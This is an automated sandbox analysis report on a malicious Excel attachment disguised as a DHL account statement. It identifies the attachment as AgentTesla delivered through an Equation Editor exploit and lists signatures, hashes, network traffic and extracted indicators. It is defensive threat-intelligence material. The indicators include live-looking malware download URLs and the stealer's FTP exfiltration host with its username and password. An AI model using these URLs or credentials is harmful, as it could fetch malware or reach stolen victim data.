Windows Analysis Report
DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx

Overview

General Information

Sample name: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx
Analysis ID: 1467966
MD5: e991e2f82fe86b23ae342b296a5b212d
SHA1: 65cde8d0909a4646746db6fa4675559cd73b309a
SHA256: 521e56cecd5dd355d23dcf9085f29499dc4580835a69222a13214873971e2dce
Tags: DHLxlamxlsx
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Injects a PE file into a foreign processes
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx Avira: detected
Antivirus detection for URL or domain
Source: http://91.92.254.194/imge/new-image_v.jpg Avira URL Cloud: Label: malware
Source: http://198.46.178.144/madamwebbbbbbbas6444.txt Avira URL Cloud: Label: malware
Source: http://198.46.178.144/controlfirebase65.txt Avira URL Cloud: Label: malware
Found malware configuration
Source: 8.2.AddInProcess32.exe.400000.0.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}
Multi AV Scanner detection for domain / URL
Source: http://198.46.178.144/madamwebbbbbbbas6444.txt Virustotal: Detection: 12% Perma Link
Source: http://198.46.178.144/controlfirebase65.txt Virustotal: Detection: 17% Perma Link
Multi AV Scanner detection for submitted file
Source: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx ReversingLabs: Detection: 68%
Source: DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx Virustotal: Detection: 52% Perma Link

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 198.46.178.144 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RunPE.pdb source: powershell.exe, 00000006.00000002.520915129.00000000062B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.517243140.0000000002B6F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.515833395.00000000001F0000.00000004.08000000.00040000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A058C ExitProcess, 2_2_034A058C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A0496 LoadLibraryW, 2_2_034A0496
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A0567 ShellExecuteW,ExitProcess, 2_2_034A0567
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A0539 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_034A0539
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A0552 ShellExecuteW,ExitProcess, 2_2_034A0552
Suspicious execution chain found
Source: C:\Windows\SysWOW64\wscript.exe Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: ip-api.com
Source: global traffic DNS query: name: ip-api.com
Source: global traffic DNS query: name: ip-api.com
Source: global traffic DNS query: name: ip-api.com
Source: global traffic DNS query: name: ip-api.com
Source: global traffic DNS query: name: ip-api.com
Source: global traffic DNS query: name: ip-api.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.14:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 208.95.112.1:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.95.112.1:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 208.95.112.1:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 208.95.112.1:80
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 208.95.112.1:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 198.46.178.144:80
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 198.46.178.144:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.14:80
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.14:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.14:80
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 198.46.178.144:80
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.14:80
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.14:80
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 91.92.254.14:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 91.92.254.14:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
